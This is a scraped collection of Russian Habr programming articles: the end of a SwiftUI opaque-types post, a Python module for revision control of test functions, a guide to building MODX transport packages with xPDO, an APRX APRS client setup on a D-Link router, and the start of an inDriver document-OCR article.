Text("Hello SwiftUI")
Image(systemName: "star.fill")
}
}
}
```
Предполагаемый тип возврата `body`:
```
HStack>
```
Он достаточно сложен и вложен, помните, что он также будет меняться всякий раз, когда мы добавляем новое вложенное `view` внутри HStack. `Opaque return type` предстает во всей красе в реализации SwiftUI. Пользователя API не сильно заботит базовый конкретный типа в View, покуда возвращаемый тип соответствует протоколу View.
### Дополнительные сведения о Opaque return type
Чтобы узнать больше о `opaque return type`, вы можете проследовать по ссылкам, которые я привел ниже. Это официальное предложение, документация и видео от Apple.
**apple/swift-evolution**
Это предложение является первой частью группы изменений, которые мы рассматриваем в проектном документе для улучшения пользовательского интерфейса…
[github.com](https://github.com/apple/swift-evolution/blob/master/proposals/0244-opaque-result-types.md)
**Opaque Types — язык программирования Swift (Swift 5.1)**
Функция или метод с opaque return type скрывает информацию о типе возвращаемого значения. Вместо предоставления…
[docs.swift.org](https://docs.swift.org/swift-book/LanguageGuide/OpaqueTypes.html)
**Что нового в Swift - WWDC 2019 - Видео - Apple Developer**
Swift теперь является главным языком для ряда основных фреймворков на всех платформах Apple, включая…
[developer.apple.com](https://developer.apple.com/videos/play/wwdc2019/402/)
### Заключение
Это было очень удивительное и невероятное путешествием для нас, разработчиков Swift, которые изучали и применяли Swift с момента его изначального релиза на WWDC 2014. Если вспомнить его тогда, в этом языке не было ряда удивительных фич, которые открывают новую парадигму построения API, например расширение протокола, генерик в протоколе с `associatedtype` и даже такие интересные фичи, как протокол `Codable` для упрощения декодирования и кодирования модели определенного типа данных.
Хотя бы только потому, что Apple выпускает Swift в качестве языка программирования с открытым исходным кодом, мы можем использовать силу коллективности разработчиков со всего мира, которые хотят улучшить язык с помощью предложений Swift Evolution. Существует даже реализация предложения, которая была принята в Swift Language от старшеклассника (синтезированный инициализатор по умолчанию для struct в Swift 5.1 от Алехандро Алонсо).
Влияние технологии Swift на мир по мере развития языка в будущем может быть очень значительным. Это язык программирования, который мне нравится больше всего из-за его выразительности. Продолжайте учиться и будьте новичком, не бойтесь неудач, извлекайте из них уроки, пробуйте и повторяйте. Продолжайте обучение на протяжении всей жизни и счастливого свифтинга!
---
> [**Узнать подробнее о курсе**](https://otus.pw/98B1/) **«iOS Developer. Professional»**[**.**](https://otus.pw/98B1/)[**Смотреть открытый вебинар**](https://otus.pw/Crcf/) **«Пишем приложение на SwiftUI и Combine».**
>
> | https://habr.com/ru/post/542080/ | null | ru | null |
# Контроль целостности кода функций
В процессе разработки многокомпонентной системы автоматизированного тестирования сканера безопасности мы столкнулись с проблемой контроля целостности кода отдельных тестовых функций и проведения ревизий.
Число написанных функциональных тестов, которые запускает система, уже превысило несколько тысяч и продолжает увеличиваться. В нашем случае один функциональный тест — это одна функция. При таком методе разработки после присвоения тесту статуса «Готов» о нем надолго забывают.
Между тем в процессе разработки других тестовых функций часто возникает необходимость рефакторинга. Причем этот процесс по невнимательности тестировщика-автоматизатора может затронуть и уже готовые отлаженные тесты.
Сам по себе рефакторинг любой программы, даже если он затрагивает множество модулей и функций, — обычное и вполне полезное дело. Однако в отношении тестовых функций это не всегда так. Каждый тест разрабатывается для реализации конкретного алгоритма проверки. Логика проверки, которую закладывал автор, может быть нарушена даже при незначительных изменениях в коде теста.
Чтобы избежать негативных последствий подобных ситуаций, мы разработали механизм ревизий кода тестовых функций, с помощью которого можно одновременно и контролировать целостность функций, и дублировать их код.
[](http://habrahabr.ru/company/pt/blog/177189/)
#### Механизм
Для каждой функции может быть определена ревизия, набор из хэша и кода функции:
```
(func_hash, func_source)
```
Все критические функции могут быть добавлены в словарь ревизий:
```
{"funcName1": (funcName1_hash, funcName1_source),
"funcName2": (funcName2_hash, funcName2_source), ...}
```
Для нас, к примеру, критическими являются все функции с уже разработанными тестами. Хранить все ревизии можно в специальном текстовом файле (файл ревизий), в котором хранится список с датой последней ревизии и словарем ревизий:
```
[revision's last date-n-time, {revisions}]
```
Перед очередным релизом системы тестирования специалист, ответственный за ревизии, может отслеживать изменения в коде функций и, если необходимо, в короткие сроки восстановить код старых тестов, просто скопировав их из ревизии.
Разумеется, существуют и альтернативные варианты решения проблемы, например, инспекции кода и использование инструментов в репозиториях (например, GIT, SVN). Однако инспекции бесполезны в случае внесения автоматических изменений в сотни тестов, а отслеживание изменений в коде с помощью инструментов репозитория после нескольких мержей — процесс трудоемкий и долгий. Кроме того, обычно на тестовые функции не пишут модульные тесты, однако необходимость контроля качества и неизменности функций сохраняется — эту проблему также позволяет решить механизм ревизий.
#### Код
Для реализации описанной выше идеи на Python был написан небольшой модуль FileRevision.py. Имеющийся в нем класс Revision() можно импортировать в свой проект и добавить ревизии для нужных именно вам функций.
Немного доработав модуль, можно дополнительно реализовать, к примеру, сжатие файла ревизий, хотя для небольших по объему проектов это не так уж критично.
Код доступен по [ссылке](https://docs.google.com/file/d/0B-1rf8K04ZS5b1JCWVZKRFZSTUk/edit?usp=sharing).
##### Реализация модуля
**class Revision():**
**\_\_init\_\_() # Инициализация параметров**
```
def __init__(self, fileRevision='revision.txt'):
self.fileRevision = fileRevision
self.mainRevision = self._ReadFromFile(self.fileRevision) # get main revision first
```
**\_ReadFromFile() # Получение ревизий из файла**
```
def _ReadFromFile(self, file=None):
"""
Helper function that parse and return revision from file.
"""
revision = [None, {}]
if file == None:
file = self.fileRevision
try:
if os.path.exists(file) and os.path.isfile(file):
with open(file) as fH:
revision = eval(fH.read())
except:
traceback.print_exc()
finally:
return revision
```
**\_WriteToFile() # Запись ревизий в файл.**
```
def _WriteToFile(self, revision=[None, {}], file=None):
"""
Helper procedure than trying to write given revision to file.
"""
status = False
if file == None:
file = self.fileRevision
try:
with open(file, "w") as fH:
fH.write(str(revision))
status = True
except:
traceback.print_exc()
finally:
return status
```
**\_GetOld() # Получение предыдущей ревизии для функции.**
```
def _GetOld(self, func=None):
"""
Get old revision for given function and return tuple: (old_hash, old_source).
"""
funcHashOld = None # old code is None if function not exist in previous revision
funcSourceOld = None # old hash is None if function not exist in previous revision
try:
if func.__name__ in self.mainRevision[1]:
funcHashOld = self.mainRevision[1][func.__name__][0] # field with old hash of function
funcSourceOld = self.mainRevision[1][func.__name__][1] # field with old code of function
except:
traceback.print_exc()
finally:
return (funcHashOld, funcSourceOld)
```
**\_GetNew() # Получение новой ревизии для функции.**
```
def _GetNew(self, func=None):
"""
Get new revision for given function and return tuple: (new_hash, new_source).
"""
funcSourceNew = None # if function doesn't exist, its also doesn't have code
funcHashNew = None # hash is None if function not exist
try:
funcSourceNew = inspect.getsource(func) # get function's source
funcHashNew = hash(funcSourceNew) # new hash of function
except:
traceback.print_exc()
finally:
return (funcHashNew, funcSourceNew)
```
**\_Similar() # Сравнение двух ревизий.**
```
def _Similar(self, hashOld, sourceOld, hashNew, sourceNew):
"""
Checks if given params for modified then return tuple with revision's diff:
(old_revision, new_revision), otherwise return None.
"""
similar = True # old and new functions are similar, by default
if hashNew != hashOld:
if sourceOld != sourceNew:
similar = False # modified if hashes are not similar and functions not contains similar code
return similar
```
**Update() # Обновление ревизии для указанной функции.**
```
def Update(self, func=None):
"""
Set new revision for function.
revision = [revision date-n-time,
{"funcName1": (funcName1_hash, funcName1_source),
{"funcName2": (funcName2_hash, funcName2_source), ...}]
"""
status = False
if func:
try:
funcSourceNew = inspect.getsource(func) # get function's source
funcHashNew = hash(funcSourceNew) # new hash of function
revisionDateNew = datetime.now().strftime('%d.%m.%Y %H:%M:%S') # revision's date
funcRevisionNew = {func.__name__: [funcHashNew, funcSourceNew]} # form for function's revision
self.mainRevision[0] = revisionDateNew # set new date for main revision
self.mainRevision[1].update(funcRevisionNew) # add function's revision to main revision
if self._WriteToFile(self.mainRevision): # write main revision to file
status = True
except:
traceback.print_exc()
finally:
return status
```
**DeleteAll() # Удаление всех ревизий из файла.**
```
def DeleteAll(self):
"""
Helper function that parse and return revision from file.
"""
status = False
try:
self.mainRevision = [None, {}] # clean revision
if self._WriteToFile(self.mainRevision): # write main revision to file
status = True
except:
traceback.print_exc()
finally:
return status
```
**ShowOld() # Вывод информации о предыдущей ревизии для функции.**
```
def ShowOld(self, func=None):
"""
Function return old revision for given function.
"""
funcHashOld, funcSourceOld = self._GetOld(func) # get old revision for given function
dateStr = "Last revision: " + str(self.mainRevision[0])
hashStr = "\nOld function's hash: " + str(funcHashOld)
codeStr = "\nOld function's code:\n" + "- " * 30 + "\n" + str(funcSourceOld) + "\n" + "- " * 30
oldRevision = dateStr + hashStr + codeStr
return oldRevision
```
**ShowNew() # Вывод информации о новой ревизии для функции.**
```
def ShowNew(self, func=None):
"""
Function return old revision for given function.
"""
funcHashNew, funcSourceNew = self._GetNew(func) # get old revision for given function
hashStr = "New function's hash: " + str(funcHashNew)
codeStr = "\nNew function's code:\n" + "- " * 30 + "\n" + str(funcSourceNew) + "\n" + "- " * 30
newRevision = hashStr + codeStr
return newRevision
```
**Diff() # Сравнение ревизий и вывод диффа для функции при необходимости.**
```
def Diff(self, func=None):
"""
Checks if given function modified then return tuple with revision's diff:
(old_revision, new_revision), otherwise return None.
"""
funcHashOld, funcSourceOld = self._GetOld(func) # get old revision for given function
funcHashNew, funcSourceNew = self._GetNew(func) # get new revision for given function
# check old and new revisions:
if self._Similar(funcHashOld, funcSourceOld, funcHashNew, funcSourceNew):
diff = None # not difference
else:
diff = ("Last revision: " + str(self.mainRevision[0]) +
"\nOld function's hash: " + str(funcHashOld) +
"\nOld function's code:\n" + "- " * 30 + "\n" +
str(funcSourceOld) + "\n" + "- " * 30,
"\nNew function's hash: " + str(funcHashNew) +
"\nNew function's code:\n" + "- " * 30 + "\n" +
str(funcSourceNew) + "\n" + "- " * 30) # if new function not similar old function
return diff
```
**\_testFunction() # Фейковая функция для проверки работы модуля**
```
def _testFunction(a=None):
"""
This is fake test function for module.
"""
# this is comment
if a:
return True
else:
return False
```
**if \_\_name\_\_ == '\_\_main\_\_':() # Примеры использования модуля, при его отдельном запуске.**
```
func = _testFunction # set function for review in revision
revision = Revision('revision.txt') # init revision class for using with revision.txt
# how to use this module for review revision of function:
print(MSG_CHECK, func.__name__)
funcModified = revision.Diff(func) # get function's diff as tuple (old_revision, new_revision)
if funcModified:
print(MSG_MODIFIED)
print(funcModified[0]) # old revision
print(funcModified[1]) # new revision
else:
print(MSG_NOT_MODIFIED)
# how to use this module for update revision:
action = input("Update function's revision? [y/n]: ")
if action == 'y':
print(MSG_UPDATE, func.__name__)
if revision.Update(func):
print(MSG_UPDATED)
else:
print(MSG_UPDATE_ERROR)
# how to use this module for clean file-revision:
action = input("Clean file-revision now? [y/n]: ")
if action == 'y':
print(MSG_DELETE)
if revision.DeleteAll():
print(MSG_DELETED)
else:
print(MSG_DELETE_ERROR)
# how to use this module for show old review:
action = input('Show old revision for function? [y/n]: ')
if action == 'y':
print(revision.ShowOld(func))
# how to use this module for show new review:
action = input('Show new revision for function? [y/n]: ')
if action == 'y':
print(revision.ShowNew(func))
```
Чтобы посмотреть примеры использования данного модуля, нужно лишь запустить его, используя Python 3.2.3:
**python FileRevision.py**
При первом запуске скрипт обнаружит отсутствие ревизии для фейковой функции, реализованной в примере, предложит обновить информацию о ней, очистить файл ревизий, а также вывести информацию о предыдущей и новой ревизиях. Затем рядом с .py-файлом будет создан файл revision.txt с ревизиями для примеров.
Таким образом, при использовании нашего модуля и наличии сотрудника, ответственного за формирование файла ревизий кода, увеличится степень защищенности тестовых функций.
На сегодня все. Ждем ваших вопросов и предложений в комментариях. Спасибо за внимание!
Автор: Тимур Гильмуллин, группа автоматизированного тестирования Positive Technologies. | https://habr.com/ru/post/177189/ | null | ru | null |
# Сборка transport-пакета без установки MODX
Писать свои пакеты для MODX не просто для новичка, да и опытному разработчику иногда не сладко приходится. Но новичок пугается, а опытный разбирается :).
Эта заметка рассказывает о том, как можно написать и собрать пакет компонента для MODX без установки и настройки самого MODX. Уровень выше среднего, так что возможно придется поломать голову в отдельных случаях, но оно того стоит.
За подробностями прошу под кат.
Когда-то, когда MODX Revolution только только появился, был еще в ранней beta-версии, разработчики еще не знали, как с ним работать и как писать для него плагины. Ну кроме команды, которая корпела над CMS. И команда, надо сказать, отчасти преуспела и предусмотрела в самой системе возможность удобно собирать пакеты, которые потом можно установить через репозиторий, что выглядит логичным. Но с тех пор прошло много лет и требования к пакетам и их сборке немного поменялись.
Копипаста — зло, хотя и не всегда
---------------------------------
Несколько последние месяцев мне не давала покоя мысль, почему, чтобы собрать пакет для MODX, нужно обязательно устанавливать его, создавать базу данных, создавать админа и т.д. Столько лишних действий. Нет, ничего страшного в этом нет, если один раз настроил и потом пользуешься. Многие так и делают. Но как быть, когда хочется сборку поручить скрипту, а самому сходить выпить кофейку?
Так получилось, что создатели MODX привыкли работать с самим MODX и добавили прямо в ядро классы, обеспечивающие сборку пакетов. Они же написали первые компоненты, первые build-скрипты, которые потом использовались как примеры другими разработчиками, которые просто копипастили решение, не всегда особо вникая в суть происходящего. И я так делал.
Но задача — автоматизировать сборку пакета, желательно на сервере, обязательно с минимальным набором требуемого ПО, с минимальными затратами ресурсов и следовательно с большей скоростью. Задача была поставлена и после исследования исходников, тормошения Джейсона в чате решение нашлось.
И какое же?
-----------
Первое, что я выяснил, это что код, отвечающий за сборку пакета непосредственно, лежит в библиотеке xPDO, а в MODX только классы-обертки, предоставляющие более удобное API и с которыми несколько проще работать, но только если MODX установлен. Следовательно, наверное как-то можно использовать только xPDO, но в коде конструктор объекта xPDO требует указывать данные для коннекта к БД.
```
public function __construct(
$dsn,
$username = '',
$password = '',
$options = [],
$driverOptions= null
);
```
После расспросов Джейсона стало понятно, что хоть параметры и нужно задавать, реальный же физический коннект к базе данных происходит ровно в тот момент, когда это необходимо. Lazy load во всей красе. Вторая проблема была решена.
Третьей проблемой стал вопрос подключения xPDO к проекту. Сразу на ум пришел Composer, но 2.x версия, на которой работает нынешний MODX, не поддерживает Composer, а ветка 3.x использует неймспейсы и имена классов записываются не так, как в 2.x, что приводит к конфликтам и ошибкам. В общем, несовместимы. Тогда пришлось использовать средства git и подключить xPDO как субмодуль.
> #### Как использовать субмодули
>
>
>
>
>
> Для начала стоит почитать [документацию](https://git-scm.com/book/en/v2/Git-Tools-Submodules) по ним.
>
>
>
> Затем, если это новый проект, нужно субмодуль добавить:
>
>
>
>
> ```
> $ git submodule add https://github.com/username/reponame
> ```
>
>
> Эта команда склонирует и установит субмодуль в ваш проект. Затем вам нужно будет добавить папку с субмодулем в свой репозиторий командой git add. Она не будет добавлять всю папку с субмодулем, а добавит в git только ссылку на последний коммит из субмодуля.
>
>
>
> Чтобы другой разработчик мог склонировать проект со всеми зависимостями, нужно создать конфиг .gitmodules для субмодулей. В проекте Slackify он такой:
>
>
>
>
> ```
> [submodule "_build/xpdo"]
> path = _build/xpdo
> url = https://github.com/modxcms/xpdo.git
> branch = 2.x
>
> ```
>
>
> После этого при клонировании достаточно указать флаг recursive и git скачает все зависимые репозитории.
В итоге, у нас есть xPDO, xPDO можно использовать без подключения к БД, если в ней нет необходимости, xPDO можно подключить к коду компонента как внешнюю зависимость (git submodule). Теперь реализация build-скрипта.
Давайте разбираться
-------------------
Я опишу [build-скрипт](https://github.com/Alroniks/modx-slackify/blob/master/_build/build.transport.php) недавно выложенного мной дополнения [Slackify](https://github.com/Alroniks/modx-slackify). Этот компонент бесплатный и выложен в открытом доступе на GitHub, что облегчит самостоятельное изучение.
### Подключаем xPDO
Опустим задание констант с именем пакета и другие необходимые вызовы и подключим xPDO.
```
require_once 'xpdo/xpdo/xpdo.class.php';
require_once 'xpdo/xpdo/transport/xpdotransport.class.php';
$xpdo = xPDO::getInstance('db', [
xPDO::OPT_CACHE_PATH => __DIR__ . '/../cache/',
xPDO::OPT_HYDRATE_FIELDS => true,
xPDO::OPT_HYDRATE_RELATED_OBJECTS => true,
xPDO::OPT_HYDRATE_ADHOC_FIELDS => true,
xPDO::OPT_CONNECTIONS => [
[
'dsn' => 'mysql:host=localhost;dbname=xpdotest;charset=utf8',
'username' => 'test',
'password' => 'test',
'options' => [xPDO::OPT_CONN_MUTABLE => true],
'driverOptions' => [],
]
]
]);
```
Субмодуль xPDO я добавил в папку `_build`, которая нужна нам только на этапе разработки и сборки пакета и которая не попадет в основной архив компонента. Вторая копия xPDO на сайте с живым MODX нам не нужна.
В настройках подключения xPDO я задал в `dsn` имя БД, но оно не играет никакой роли. Важно, чтобы папка cache внутри xPDO была доступна для записи. На этом все, xPDO проинициализирован.
### Делаем хитрый хак с классами
Когда при создании пакета используется установленный MODX, все просто, мы берем и создаем объект нужного нам класса. MODX на самом деле находит нужный класс, находит для этого класса необходимую реализацию (класс c постфиксом \_mysql), которая зависит от базы данных и после этого создает нужный объект (из-за этой особенности у вас при сборке пакета могут появится ошибки, что класс \*\_mysql не найден, это не страшно). Однако у нас нет ни базы, ни реализации. Нужно как-то подменить нужный класс, что мы и делаем.
```
class modNamespace extends xPDOObject {}
class modSystemSetting extends xPDOObject {}
```
Мы создаем класс-пустышку (заглушку), который нужен для создания нужного объекта. Это не пришлось бы делать, если бы xPDO не проверял особым образом, какому классу принадлежит объект. Но он проверяет.
Но есть особые случаи, когда нужно сделать чуть больше, чем просто определить класс. Это случаи зависимостей между классами. Например нам в категорию нужно добавить плагин. В коде просто `$category->addOne($plugin);`, но в нашем случае это не сработает.
Если вы хоть раз смотрели в [схему БД MODX](https://github.com/modxcms/revolution/blob/2.x/core/model/schema/modx.mysql.schema.xml), то наверняка видели такие элементы как aggregate и composite. Про них написано в [документации](https://rtfm.modx.com/xpdo/2.x/getting-started/creating-a-model-with-xpdo/defining-a-schema/more-examples-of-xpdo-xml-schema-files), но если по простому, то они описывают взаимосвязи между классами.
В нашем случае в категории может быть несколько плагинов, за что в классе `modCategory` отвечает элемент aggregate. Следовательно, так как класс у нас без конкретной реализации, нам эту связь нужно указать руками. Проще это сделать переопределив метод `getFKDefinition`:
```
class modCategory extends xPDOObject
{
public function getFKDefinition($alias)
{
$aggregates = [
'Plugins' => [
'class' => 'modPlugin',
'local' => 'id',
'foreign' => 'category',
'cardinality' => 'many',
'owner' => 'local',
]
];
return isset($aggregates[$alias])
? $aggregates[$alias]
: [];
}
}
```
У нас в компоненте используются только плагины, поэтому добавляем связи только для них. После этого метод addMany у класса modCategory сможет без особых проблем добавить нужные плагины в категорию, а затем и в пакет.
### Создаем пакет
```
$package = new xPDOTransport($xpdo, $signature, $directory);
```
Как видим, все очень и очень просто. Вот тут нам понадобилось передать параметром `$xpdo`, который мы проинициализировали в самом начале. Если бы не этот момент, проблемы 2 и не было бы. `$signature` — имя пакета, включая версию, `$directory` — место, куда будет заботливо положен пакет. Откуда берутся эти переменные посмотрите сами в исходниках.
### Создаем пространство имен и добавляем его в пакет
Пространство имен нам нужно для того, что бы к нему привязать лексиконы и системные настройки. В нашем случае только для этого, другие пока не рассматриваем.
```
$namespace = new modNamespace($xpdo);
$namespace->fromArray([
'id' => PKG_NAME_LOWER,
'name' => PKG_NAME_LOWER,
'path' => '{core_path}components/' . PKG_NAME_LOWER . '/',
]);
$package->put($namespace, [
xPDOTransport::UNIQUE_KEY => 'name',
xPDOTransport::PRESERVE_KEYS => true,
xPDOTransport::UPDATE_OBJECT => true,
xPDOTransport::RESOLVE_FILES => true,
xPDOTransport::RESOLVE_PHP => true,
xPDOTransport::NATIVE_KEY => PKG_NAME_LOWER,
'namespace' => PKG_NAME_LOWER,
'package' => 'modx',
'resolve' => null,
'validate' => null
]);
```
Первая часть понятна любому, кто хоть раз писал код для MODX. Вторая, с добавлением в пакет, чуть посложнее. Метод `put` принимает 2 параметра: сам объект и массив параметров, описывающих этот объект и его возможное поведение в момент установки пакета. Например `xPDOTransport::UNIQUE_KEY => 'name'` говорит о том, что для пространства имен в качестве уникального ключа в БД будет использоваться поле `name` с название самого пространства имен в качестве значения. Подробнее о параметрах можно почитать в [документации по xPDO](https://rtfm.modx.com/xpdo/2.x/), а лучше изучив исходный код.
Точно так же можно добавлять и другие объекты, например системные настройки.
```
$package->put($setting, [
xPDOTransport::UNIQUE_KEY => 'key',
xPDOTransport::PRESERVE_KEYS => true,
xPDOTransport::UPDATE_OBJECT => true,
'class' => 'modSystemSetting',
'resolve' => null,
'validate' => null,
'package' => 'modx',
]);
```
### Создаем категорию
С добавление категории у меня случился самый большой затык, когда я во всем это разбирался. Элементы, положенные в категорию, в модели xPDO должны как быть принадлежать этой категории, т.е. быть вложенными в нее, а уже потом сама категория должна быть вложена в пакет. И при этом нужно учитывать взаимосвязи между классами, которые я уже описывал выше. Чтобы это понять, осознать и правильно применить, ушло довольно много времени.
```
$package->put($category, [
xPDOTransport::UNIQUE_KEY => 'category',
xPDOTransport::PRESERVE_KEYS => false,
xPDOTransport::UPDATE_OBJECT => true,
xPDOTransport::ABORT_INSTALL_ON_VEHICLE_FAIL => true,
xPDOTransport::RELATED_OBJECTS => true,
xPDOTransport::RELATED_OBJECT_ATTRIBUTES => [
'Plugins' => [
xPDOTransport::UNIQUE_KEY => 'name',
xPDOTransport::PRESERVE_KEYS => false,
xPDOTransport::UPDATE_OBJECT => false,
xPDOTransport::RELATED_OBJECTS => true
],
'PluginEvents' => [
xPDOTransport::UNIQUE_KEY => ['pluginid', 'event'],
xPDOTransport::PRESERVE_KEYS => true,
xPDOTransport::UPDATE_OBJECT => false,
xPDOTransport::RELATED_OBJECTS => true
]
],
xPDOTransport::NATIVE_KEY => true,
'package' => 'modx',
'validate' => $validators,
'resolve' => $resolvers
]);
```
Выглядит монструозно, но и не такое видали. Важный параметр `xPDOTransport::RELATED_OBJECTS => true`, который говорит о том, что в категории есть вложенные элементы, которые так же нужно упаковать и затем установить.
Так как большинство модулей содержит в себе различные элементы (чанки, сниппеты, плагины), то категория с элементами самый важный кусок транспортного пакета. Поэтому именно здесь заданы валидаторы и резолверы, которые выполняются в процессе установки пакета.
> Валидаторы выполняются перед установкой, резолверы — после.
Чуть не забыл, перед упаковкой категории в нее же нужно добавить наши элементы. Вот так:
```
$plugins = include $sources['data'] . 'transport.plugins.php';
if (is_array($plugins)) {
$category->addMany($plugins, 'Plugins');
}
```
### Добавляем другие данные в пакет
В пакет нужно добавить еще файл с лицензией, файл с логом изменений и файл с описанием компонента. Если нужно, то можно добавить еще специальный скрипт через атрибут `setup-options`, который покажет окно перед установкой пакета. Это когда вместо «Установить» кнопка «Опции установки». И с версии MODX 2.4 появилась возможность указывать зависимости между пакетами с помощью атрибута `requires`, причем в нем так же можно указать версию PHP и MODX.
```
$package->setAttribute('changelog', file_get_contents($sources['docs'] . 'changelog.txt'));
$package->setAttribute('license', file_get_contents($sources['docs'] . 'license.txt'));
$package->setAttribute('readme', file_get_contents($sources['docs'] . 'readme.txt'));
$package->setAttribute('requires', ['php' => '>=5.4']);
$package->setAttribute('setup-options', ['source' => $sources['build'] . 'setup.options.php']);
```
### Пакуем
```
if ($package->pack()) {
$xpdo->log(xPDO::LOG_LEVEL_INFO, "Package built");
}
```
Всё, забираем готовый пакет в `_packages`, ну или оттуда, куда вы настроили сборку.
Что в итоге?
------------
Результат превзошел мои ожидания, так как такой подход хоть и накладывает некоторые ограничения и местами добавляет некоторые неудобства, но выигрывает по возможностям применения.
Для сборки пакета достаточно выполнить 2 команды:
```
git clone --recursive git@github.com:Alroniks/modx-slackify.git
cd modx-slackify/_build && php build.transport.php
```
Первая — это клонирование репозитория и его субмодулей. Важный параметр `--recursive`, благодаря ему git скачает и установит помимо самого кода компонента все зависимости, описанные в виде субмодулей.
Второе — сборка пакета непосредственно. После этого можно забирать готовый `package-1.0.0-pl.transport.zip` из папки `_packages` и загружать его, например в репозиторий.
Перспективы открываются широкие. Например, можно настроить хук в GitHub, который после коммита в ветку будет запускать на вашем сервере скрипт, который соберет пакет и положит его во все сайты, которые у вас есть. Либо загрузит новую версию в какой-нибудь репозиторий, а вы в это время сделаете кофе себе, как я уже говорил в начале. Или можно придумать и написать тесты к модулю и запускать прогон тестов и сборку через Jenkins или Travis. Да кучу сценариев можно придумать. С таким подходом делать это теперь намного проще.
Задавайте вопросы, постараюсь ответить.
P.S. Не проходите мимо, [поставьте Slackify звезду на GitHub](https://github.com/Alroniks/modx-slackify), пожалуйста. | https://habr.com/ru/post/439420/ | null | ru | null |
# APRX клиент в радиолюбительскую APRS на базе D-Link Dir-620
Приветствую всех! Отдельная благодарность тем, кто попросил меня осветить этот [вопрос](http://habrahabr.ru/qa/18735/).
Планирую сделать несколько статей, посвященных **APRS**, в котором рассмотрим:
1) Установку стационарных клиентов (а возможно даже и попробуем сделать свой локальный сервер) на базе ОС Windows, Linux;
2) Подключение радиостанции;
3) Установку мобильного клиента.
В сегодняшней статье (проба пера) рассмотрим установку легкого клиента на роутер Dir-620…
Итак, что такое APRS?
[APRS](http://aprs.org/) (Automatic Packet Reporting System) — это специальный вариант пакетной радиосвязи, протокол которого был зарегистрирован в 1992 году Бобом Брунинга (WB4APR). Сейчас им пользуются более 7000 радиолюбителей в мире. С помощью этого протокола информацию о местонахождении объекта или о любых его измеряемых физических параметрах можно при помощи технических устройств передать на большие расстояния. При помощи специального программного обеспечения информацию можно визуализировать и обрабатывать.
Немного информации можно глянуть на [Википедии](http://ru.wikipedia.org/wiki/APRS), более подробно можно почитать на русскоязычном [форуме](http://www.cqham.ru/forum/forumdisplay.php?f=28).
Рассмотрим установку и простую настройку [APRX](http://wiki.ham.fi/Aprx.en) шлюза на D-Link Dir-620 прошитого в Keenetic.
*Как прошить роутер и как собрать нужные пакеты, описывать не буду — уже это не раз освещалось на Хабре (глянуть можно в моей предыдущей [статье](http://habrahabr.ru/post/140993/#habracut)).*
Для запуска клиента, необходимо отредактировать конфиг под свои данные:
`#vi /etc/aprx.conf`
Мой конфиг:
`#задаем свой позывной
mycall *******
#задаем сервер
login *******
server rotate.ap**.n** 14580
#задаем логирование
pidfile /media/DISK_A1/system/var/run/aprx.pid
rflog /media/DISK_A1/system/var/log/aprx/aprx-rf.log
aprxlog /media/DISK_A1/system/var/log/aprx/aprx.log
#задаем маяк с интервалом 20мин, который передает координаты станции и комментарий
beaconmode aprsis
cycle-size 20m
beacon symbol "R&" lat "4925.57N" lon "03203.98E" comment "DE UR3CKR --- APRX on OPENWRT"`
Более подробный конфиг по всем параметрам расписан на сайте [автора](http://wiki.ham.fi/Aprx.en).
Запускаем:
`#/usr/sbin/aprx -f /etc/aprx.conf`
Смотреть станции удобно на [Google Maps APRS](http://aprs.fi/)
" alt=«image»/>
В дальнейшем есть желание прикрутить к роутеру usb-звуковую карту и укв-радиостанцию и попробовать входить в сеть через радиоэфир.
Благодарю за внимание! | https://habr.com/ru/post/142900/ | null | ru | null |
# Как мы распознаем фото документов пользователей. Часть I
Привет, Хабр! Я Илья, Data Scientist в inDriver. В работе нам часто приходится распознавать документы водителей или пассажиров для их верификации в приложении. Наша команда выработала свой подход к идентификации текста и фото, которым я хотел бы поделиться.
В первой части статьи кратко расскажу о том, как мы распознаем фото документов и текст на них. Во второй более предметно поговорю о моделях CRAFT, CRNN и их использовании. Приятного чтения!
Содержание[Минутка истории](#%D0%B8%D1%81%D1%82%D0%BE%D1%80%D0%B8%D1%8F)
[Распознавание фото документов](#%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82)
[Распознавание текста](#%D1%82%D0%B5%D0%BA%D1%81%D1%82)
Минутка истории
---------------
Задача оптического распознавания символов (*OCR — optical character recognition*) — старая проблема, восходящая [к 1970-м годам](https://archive.org/details/historyofocropti0000scha), когда была разработана первая технология OCR c омни-шрифтами (omni-font). Сложность этой задачи обусловлена естественными особенностями текстов:
* В некоторых алфавитах найти и распознать буквы очень сложно (например, в арабском, китайском, особенно в курсиве).
* Существует много разных шрифтов и стилей, некоторые символы слишком похожи на другие (например, буквы I и l, цифра 0 и буква O).
* Рукописный текст бывает всех форм и размеров.
Все методы распознавания текста с глубоким обучением можно условно разделить на 3 большие категории:
* **Character-based**. Эти методы сначала пытаются найти и распознать определенные местоположения отдельных символов, а затем сгруппировать в слова.
* **Word-based.** Методы решают распознавание текста как проблему классификации слов, где классы — общие слова на определенном языке.
* **Sequence-to-sequence.** Методы рассматривают OCR как проблему маркировки последовательностей. Одни из самых ранних работ по этому типу методов была [написана](https://arxiv.org/abs/1507.05717) китайскими авторами. Статья является оригинальной работой по описанию модели **CRNN**. Также в ней дается подробный обзор конкретной архитектуры GRU-CNN с вычислительной точки зрения. Различные модификации моделей CRNN работают лучше, чем другие, на многих эталонных наборах данных OCR.
3 категории распознавания текстаПервой программой, распознающей кириллицу, был «AutoR» российской компании «ОКРУС». Программа начала распространяться в 1992 году и работала под управлением операционной системы DOS. Алгоритм «AutoR» был разработан и испытан еще в конце 1960-х годов биофизиками и выпускниками МФТИ Г. М. Зенкиным и А. П. Петровым ([1](https://ailab.ru/media/kunena/attachments/104/Petrov_Zenkin_VK_67.pdf), [2](https://ailab.ru/media/kunena/attachments/104/Zenkin_Petrov_BF_67.pdf)).
Распознавание фото документов
-----------------------------
Перейду к тому, как все устроено в inDriver. В ряде случаев нам необходимо автоматически распознавать фото документов пользователей для их верификации в приложении. При распозновании мы регулярно стакливались с несколькими проблемами:
* Часто необходимо распознать не весь документ, а какую-то область или поле.
* Фотографии имеют низкое разрешение из-за старой модели телефона, или документ расположен далеко от камеры.
* Фотографии сделаны под углом по оси Z.
* Область документа для распознавания может быть испорчена или потерта, так что бывает трудно разобрать символы.
* Используются разные шрифты и разные типы документов в пределах страны или города.
* Фотография может быть перевернута на 90, 180 или 270 градусов.
Распознавание документов в inDriver включает в себя 2 основных этапа:
1. **Segmentation.** Сегментация области документа, которая должна быть распознана.
2. **Recognition**. Распознавание текста или **Detection** (детекция) и распознавание.
Расскажу подробнее о сегментации. Задачи компьютерного зрения разделяют на несколько видов:
